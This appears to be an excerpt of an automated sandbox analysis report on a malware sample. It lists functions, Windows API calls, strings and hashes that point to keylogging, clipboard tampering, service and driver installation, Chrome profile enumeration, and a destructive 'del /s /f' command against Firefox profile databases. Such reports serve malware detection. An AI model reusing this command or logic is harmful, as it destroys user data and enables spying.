Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: Sleep_errno
String ID:
API String ID: 1068366078-0
Opcode ID: dfe64978b2f56b0793aca80552e9b258e9d4d57e910bdb29ae3b2a8446373223
Instruction ID: 81d07839c83f7915c4abde156d36a1ff4524bf25dbc4fd1c2b5c3d826d44d4c2
Opcode Fuzzy Hash: dfe64978b2f56b0793aca80552e9b258e9d4d57e910bdb29ae3b2a8446373223
Instruction Fuzzy Hash: D601A232B25A8185EA649F5698A0029B7A1FB8DFD0B58C131DE5D03B9ACF7CE852C704

Non-executed Functions

Function 00000210AE4CF8D0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 132servicefilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D38A4: GetSystemTimeAsFileTime.KERNEL32 ref: 00000210AE4D38B2

Part of subcall function 00000210AE4D4238: _getptd.LIBCMT ref: 00000210AE4D4240

rand.LIBCMT ref: 00000210AE4CF930

Part of subcall function 00000210AE4D4250: _getptd.LIBCMT ref: 00000210AE4D4254

OpenSCManagerA.ADVAPI32 ref: 00000210AE4CF972
CreateFileA.KERNEL32 ref: 00000210AE4CF9B6
CloseHandle.KERNEL32 ref: 00000210AE4CF9D1
CloseServiceHandle.ADVAPI32 ref: 00000210AE4CF9DA
CreateServiceA.ADVAPI32 ref: 00000210AE4CFA3A
WriteFile.KERNEL32 ref: 00000210AE4CFA62
DeleteService.ADVAPI32 ref: 00000210AE4CFA6F
CloseServiceHandle.ADVAPI32 ref: 00000210AE4CFA78

Part of subcall function 00000210AE4D22C0: GetComputerNameA.KERNEL32 ref: 00000210AE4D230D
Part of subcall function 00000210AE4D22C0: lstrcpy.KERNEL32 ref: 00000210AE4D2323
Part of subcall function 00000210AE4D22C0: wsprintfA.USER32 ref: 00000210AE4D2352

CloseHandle.KERNEL32 ref: 00000210AE4CFA81
CloseServiceHandle.ADVAPI32 ref: 00000210AE4CFA8A
CloseHandle.KERNEL32 ref: 00000210AE4CFA95
StartServiceA.ADVAPI32 ref: 00000210AE4CFAA3
Sleep.KERNEL32 ref: 00000210AE4CFAAE
DeleteService.ADVAPI32 ref: 00000210AE4CFAC0
CloseServiceHandle.ADVAPI32 ref: 00000210AE4CFAC9
CloseServiceHandle.ADVAPI32 ref: 00000210AE4CFAD2
DeleteFileA.KERNEL32 ref: 00000210AE4CFAE0

Strings

C:\ProgramData\girl.jpg, xrefs: 00000210AE4CF8F1
driver, xrefs: 00000210AE4CFAE8

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Service$CloseHandle$File$Delete$CreateTime_getptd$ComputerManagerNameOpenSleepStartSystemWritelstrcpyrandwsprintf
String ID: C:\ProgramData\girl.jpg$driver
API String ID: 2345241111-1437884672
Opcode ID: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction ID: 90cd17bbac0fc8ffa49ea20ac6d0eb7056287aa78888ee2bbe95dbce582a478d
Opcode Fuzzy Hash: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction Fuzzy Hash: 0F517431204B8086EB149F25F8983E973A9FFA8B94F684115DBCA47B95DFBDC5858700

Function 00000210AE4D84A8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4D84D8
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D84E3
_errno.LIBCMT ref: 00000210AE4D8508
_errno.LIBCMT ref: 00000210AE4D8510
_errno.LIBCMT ref: 00000210AE4D8534
_errno.LIBCMT ref: 00000210AE4D866F

Strings

del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db, xrefs: 00000210AE4D84B3
PATH, xrefs: 00000210AE4D8558

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: PATH$del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db
API String ID: 2819658684-2861927837
Opcode ID: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction ID: 5c40e6aba2e2201263f4d4c00f8f391bf8e481d54621123d4ab60d3b4da626fe
Opcode Fuzzy Hash: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction Fuzzy Hash: 2371D37170130442FE65AB229DCE3FA66C99FB97E0F7486219FD506BC2DEB8C4C18600

Function 00000210AE4CDA90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 125synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 00000210AE4CDACD
lstrcat.KERNEL32 ref: 00000210AE4CDADD
CreateMutexA.KERNEL32 ref: 00000210AE4CDAEE
WaitForSingleObject.KERNEL32 ref: 00000210AE4CDB06
CreateFileA.KERNEL32 ref: 00000210AE4CDB34
GetFileSize.KERNEL32 ref: 00000210AE4CDB42
CloseHandle.KERNEL32 ref: 00000210AE4CDB4D
DeleteFileA.KERNEL32 ref: 00000210AE4CDB5E
ReleaseMutex.KERNEL32 ref: 00000210AE4CDB70
GetTickCount.KERNEL32 ref: 00000210AE4CDC49
GetKeyState.USER32 ref: 00000210AE4CDC5A

Strings

paEqfEiINh.jre, xrefs: 00000210AE4CDAE3
<, xrefs: 00000210AE4CDC14
\paEqfEiINh.jre, xrefs: 00000210AE4CDAD3

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: File$CreateMutex$CloseCountDeleteFolderHandleObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\paEqfEiINh.jre$paEqfEiINh.jre
API String ID: 2154846255-3527366935
Opcode ID: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction ID: 192f3b40698ff704304c112fd85fec96b4b732b0e5d8b9892b5016608ac0b91a
Opcode Fuzzy Hash: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction Fuzzy Hash: 28513671200B4182EB54DF26E8DC7EA3768FFA9B88F648015DB8A47765DFB9C489C700

Function 00000210AE1E7E60 Relevance: 18.3, APIs: 12, Instructions: 290COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE1E7E90
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E7E9B
_errno.LIBCMT ref: 00000210AE1E7EC0
_errno.LIBCMT ref: 00000210AE1E7EC8
_errno.LIBCMT ref: 00000210AE1E7EEC

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction ID: 0538a5cb119228f40ba1ca03bc48f7b89c8e46844813c2555d1b47d3a8199fa8
Opcode Fuzzy Hash: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction Fuzzy Hash: CB81B931214B294EFB68A77844DE7FE72C2EFA4310F744569FAD6C31D6DDA4A8C18242

Function 00000210AE4CDEB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 168stringkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4CDD70: GetForegroundWindow.USER32 ref: 00000210AE4CDD9F
Part of subcall function 00000210AE4CDD70: GetWindowTextA.USER32 ref: 00000210AE4CDDBC
Part of subcall function 00000210AE4CDD70: lstrlen.KERNEL32 ref: 00000210AE4CDDF5
Part of subcall function 00000210AE4CDD70: GetLocalTime.KERNEL32 ref: 00000210AE4CDE04
Part of subcall function 00000210AE4CDD70: wsprintfA.USER32 ref: 00000210AE4CDE54

GetKeyState.USER32 ref: 00000210AE4CDFA5
lstrlen.KERNEL32 ref: 00000210AE4CDFFE
lstrlen.KERNEL32 ref: 00000210AE4CE01E
lstrlen.KERNEL32 ref: 00000210AE4CE046
wsprintfA.USER32 ref: 00000210AE4CE06C
wsprintfA.USER32 ref: 00000210AE4CE08B
wsprintfA.USER32 ref: 00000210AE4CE0BE
lstrlen.KERNEL32 ref: 00000210AE4CE105

Part of subcall function 00000210AE4CDCA0: WaitForSingleObject.KERNEL32 ref: 00000210AE4CDCBC
Part of subcall function 00000210AE4CDCA0: CreateFileA.KERNEL32 ref: 00000210AE4CDCEE
Part of subcall function 00000210AE4CDCA0: SetFilePointer.KERNEL32 ref: 00000210AE4CDD13
Part of subcall function 00000210AE4CDCA0: lstrlen.KERNEL32 ref: 00000210AE4CDD1C
Part of subcall function 00000210AE4CDCA0: WriteFile.KERNEL32 ref: 00000210AE4CDD39
Part of subcall function 00000210AE4CDCA0: CloseHandle.KERNEL32 ref: 00000210AE4CDD42
Part of subcall function 00000210AE4CDCA0: ReleaseMutex.KERNEL32 ref: 00000210AE4CDD54

Strings

[esc], xrefs: 00000210AE4CDF06
%s%s, xrefs: 00000210AE4CE05F

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: lstrlen$wsprintf$File$Window$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleStateTextTimeWaitWrite
String ID: %s%s$[esc]
API String ID: 3231454590-1031636121
Opcode ID: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction ID: 6da6803f05ab61a6179cfdc68bd2827048fb599a43cbb96b9ab54fd925e7c87c
Opcode Fuzzy Hash: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction Fuzzy Hash: 26717D31205B4086EB648F26A8C87F937A9FFA5B84F780015EB89476A5DFB8C5D5C740

Function 00000210AE4DA244 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 00000210AE4DA289
_set_error_mode.LIBCMT ref: 00000210AE4DA29A
GetModuleFileNameW.KERNEL32 ref: 00000210AE4DA2FC

Part of subcall function 00000210AE4D5664: GetCurrentProcess.KERNEL32(?,?,?,?,00000210AE4D5706), ref: 00000210AE4D567C

GetStdHandle.KERNEL32 ref: 00000210AE4DA411
WriteFile.KERNEL32 ref: 00000210AE4DA46E

Strings

Microsoft Visual C++ Runtime Library, xrefs: 00000210AE4DA3B5
..., xrefs: 00000210AE4DA34E
ceil, xrefs: 00000210AE4DA254
<program name unknown>, xrefs: 00000210AE4DA30B
Runtime Error!Program: , xrefs: 00000210AE4DA2C9

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $ceil
API String ID: 2183313154-2708072404
Opcode ID: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction ID: 0d8fe0c3f1ee5cf520f8353e1ecf85cea45a32adfe8a06bf96d58d55234f52a2
Opcode Fuzzy Hash: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction Fuzzy Hash: 4651A03130478082FA64DB26ACDD7DA6299FFA9784F644116AFD943B86DFBCC586C600

Function 00000210AE4C4210 Relevance: 16.6, APIs: 11, Instructions: 84clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00000210AE4C4248
IsClipboardFormatAvailable.USER32 ref: 00000210AE4C425B
GetClipboardData.USER32 ref: 00000210AE4C426E
GlobalLock.KERNEL32 ref: 00000210AE4C427A
GlobalAlloc.KERNEL32 ref: 00000210AE4C42DB
EmptyClipboard.USER32 ref: 00000210AE4C42E9
GlobalLock.KERNEL32 ref: 00000210AE4C42F6
SetClipboardData.USER32 ref: 00000210AE4C432D
GlobalUnWire.KERNEL32 ref: 00000210AE4C4336
GlobalUnWire.KERNEL32 ref: 00000210AE4C433F
CloseClipboard.USER32 ref: 00000210AE4C4358

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Clipboard$Global$DataLockWire$AllocAvailableCloseEmptyFormatOpen
String ID:
API String ID: 343666531-0
Opcode ID: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction ID: 0bae7c35b76cb137b3bb65a5c86f7afd9385f20985ed3bfbbf9fcb638ff3dde9
Opcode Fuzzy Hash: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction Fuzzy Hash: 11314032205B4081FF649B25A99C3DA6764FFE9BA4F680215DBEA077E5DFB8C4C58700

Function 00000210AE4D8808 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4D883C
_errno.LIBCMT ref: 00000210AE4D89D4
_errno.LIBCMT ref: 00000210AE4D8A20
wcomexecmd.LIBCMT ref: 00000210AE4D8A3D
free.LIBCMT ref: 00000210AE4D8A48
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8847

Part of subcall function 00000210AE4D5664: GetCurrentProcess.KERNEL32(?,?,?,?,00000210AE4D5706), ref: 00000210AE4D567C

wcomexecmd.LIBCMT ref: 00000210AE4D897F
free.LIBCMT ref: 00000210AE4D8A59

Strings

cmd.exe, xrefs: 00000210AE4D8817

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$freewcomexecmd$CurrentProcess_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 1058736139-723907552
Opcode ID: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction ID: e550b4db7f46e7dda1c1e6162a37a17b990bef34fcaffe292da44c6b80a151fc
Opcode Fuzzy Hash: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction Fuzzy Hash: 2561D63170075042FA24EB266CDD7FA628D9FA9BD4F688525AFD947BC6DEB8C4818200

Function 00000210AE4D3FA4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D8BB4: _lock.LIBCMT ref: 00000210AE4D8BDB
Part of subcall function 00000210AE4D8BB4: _errno.LIBCMT ref: 00000210AE4D8BEF
Part of subcall function 00000210AE4D8BB4: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8BFB

_errno.LIBCMT ref: 00000210AE4D402B
_errno.LIBCMT ref: 00000210AE4D4032
_errno.LIBCMT ref: 00000210AE4D4052

Part of subcall function 00000210AE4D5664: GetCurrentProcess.KERNEL32(?,?,?,?,00000210AE4D5706), ref: 00000210AE4D567C

_errno.LIBCMT ref: 00000210AE4D405B
_errno.LIBCMT ref: 00000210AE4D4065
_errno.LIBCMT ref: 00000210AE4D406F
free.LIBCMT ref: 00000210AE4D4095

Strings

cmd.exe, xrefs: 00000210AE4D4076
COMSPEC, xrefs: 00000210AE4D3FB9

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CurrentProcess_invalid_parameter_noinfo_lockfree
String ID: COMSPEC$cmd.exe
API String ID: 3119157571-2256226045
Opcode ID: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction ID: 8e80753954eb81683b1dbfa094466bc53bac4973d1eb02d1ff45e6c29eb43c64
Opcode Fuzzy Hash: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction Fuzzy Hash: 3B31A432B0070485FB159FB59CCA2ED36ACFFA9344F644025EBC957A86CEB8C4948350

Function 00000210AE1E32BC Relevance: 15.4, APIs: 10, Instructions: 379COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE1E32DE
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E32EA
_errno.LIBCMT ref: 00000210AE1E3314
__tzset.LIBCMT ref: 00000210AE1E3331
_get_daylight.LIBCMT ref: 00000210AE1E333A
_get_daylight.LIBCMT ref: 00000210AE1E334B
_get_daylight.LIBCMT ref: 00000210AE1E335C
_isindst.LIBCMT ref: 00000210AE1E33A0
_isindst.LIBCMT ref: 00000210AE1E33F0
__getgmtimebuf.LIBCMT ref: 00000210AE1E35EA

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction ID: c1a4397a5d5582db2e86c5420045d64032823c822b0ec00e853936fcc89a0687
Opcode Fuzzy Hash: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction Fuzzy Hash: 6FB1B230610B194BEB5CAF28889D3F576D5FF64305F58816EFD86CA296EA74D8818740

Function 00000210AE4D74B8 Relevance: 15.3, APIs: 10, Instructions: 292timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 00000210AE4D74E3

Part of subcall function 00000210AE4D9B98: _amsg_exit.LIBCMT ref: 00000210AE4D9BC2

_get_daylight.LIBCMT ref: 00000210AE4D74F9

Part of subcall function 00000210AE4D8254: _errno.LIBCMT ref: 00000210AE4D825D
Part of subcall function 00000210AE4D8254: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8268

_get_daylight.LIBCMT ref: 00000210AE4D750E

Part of subcall function 00000210AE4D81F4: _errno.LIBCMT ref: 00000210AE4D81FD
Part of subcall function 00000210AE4D81F4: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8208

_get_daylight.LIBCMT ref: 00000210AE4D7523

Part of subcall function 00000210AE4D8224: _errno.LIBCMT ref: 00000210AE4D822D
Part of subcall function 00000210AE4D8224: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8238

___lc_codepage_func.LIBCMT ref: 00000210AE4D7530

Part of subcall function 00000210AE4DC9F0: _getptd.LIBCMT ref: 00000210AE4DC9F4

Part of subcall function 00000210AE4D8B10: __wtomb_environ.LIBCMT ref: 00000210AE4D8B40

free.LIBCMT ref: 00000210AE4D75A1

Part of subcall function 00000210AE4D3D28: HeapFree.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D3E
Part of subcall function 00000210AE4D3D28: _errno.LIBCMT ref: 00000210AE4D3D48
Part of subcall function 00000210AE4D3D28: GetLastError.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D50

free.LIBCMT ref: 00000210AE4D760A
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,00000210AE4D7EDE,?,?,?,?,00000210AE4D397E), ref: 00000210AE4D761D
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,00000210AE4D7EDE,?,?,?,?,00000210AE4D397E), ref: 00000210AE4D76D3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,00000210AE4D7EDE,?,?,?,?,00000210AE4D397E), ref: 00000210AE4D7726

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID:
API String ID: 2532449802-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: da65d1aa29883b1552492402c19a4e7e707b48989705df7c1992aa645885e395
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: DAC1B03220478086FB709F25A8DD7DE7B99FFA5780F644125ABC943696DFB8C491C700

Function 00000210AE4D3904 Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4D3926
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D3932
_errno.LIBCMT ref: 00000210AE4D395C
__tzset.LIBCMT ref: 00000210AE4D3979
_get_daylight.LIBCMT ref: 00000210AE4D3982
_get_daylight.LIBCMT ref: 00000210AE4D3993
_get_daylight.LIBCMT ref: 00000210AE4D39A4
_isindst.LIBCMT ref: 00000210AE4D39E8
_isindst.LIBCMT ref: 00000210AE4D3A38
__getgmtimebuf.LIBCMT ref: 00000210AE4D3C32

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction ID: fdb7208fba4cf4c6549f500e0c2b918ebdc0e2eb2acc9169bd485abf3e6c3d26
Opcode Fuzzy Hash: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction Fuzzy Hash: B19106B370074587EF689F35CCD97E96799EB64788F148026EB498AB86EF78C4818700

Function 00000210AE4CEF20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00000210AE4CEFF0

Part of subcall function 00000210AE4DFA68: std::exception::exception.LIBCMT ref: 00000210AE4DFA7B
Part of subcall function 00000210AE4DFA68: std::exception::exception.LIBCMT ref: 00000210AE4DFAA9

Strings

\AppData\Local\Google\Chrome\User Data\Default, xrefs: 00000210AE4CEF23
invalid string position, xrefs: 00000210AE4CEF9A
*.*, xrefs: 00000210AE4CEFC9

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: std::exception::exception$FileFindFirst
String ID: *.*$\AppData\Local\Google\Chrome\User Data\Default$invalid string position
API String ID: 3164152327-3505193513
Opcode ID: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction ID: 783eb8e7d8511b62098decc11db7696a0a0e94e49019cbbdb78fa17f14c67a7e
Opcode Fuzzy Hash: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction Fuzzy Hash: 0B518332205B4080EA20DB25E8DC3DD67A9FBA5B98F740215EB9D43AE9DFB8C5C5C700

Function 00000210AE4E2ADC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3334: _getptd.LIBCMT ref: 00000210AE4D3346

_errno.LIBCMT ref: 00000210AE4E2B2C
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4E2B36
_errno.LIBCMT ref: 00000210AE4E2B58
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4E2B64
_errno.LIBCMT ref: 00000210AE4E2B8C
_cftoe_l.LIBCMT ref: 00000210AE4E2BD0

Strings

gfffffff, xrefs: 00000210AE4E2E5B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction ID: dffa4fa7b4b5c4fb8a835b79988104f7c301f1bedc65df5c47d5d3e844f2fd96
Opcode Fuzzy Hash: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction Fuzzy Hash: D7B142737047888AEB118B2DC5C97ED6BA9FB31794F248621CB99077D6EAB88495C304

Function 00007FFD94473FE0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 137fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

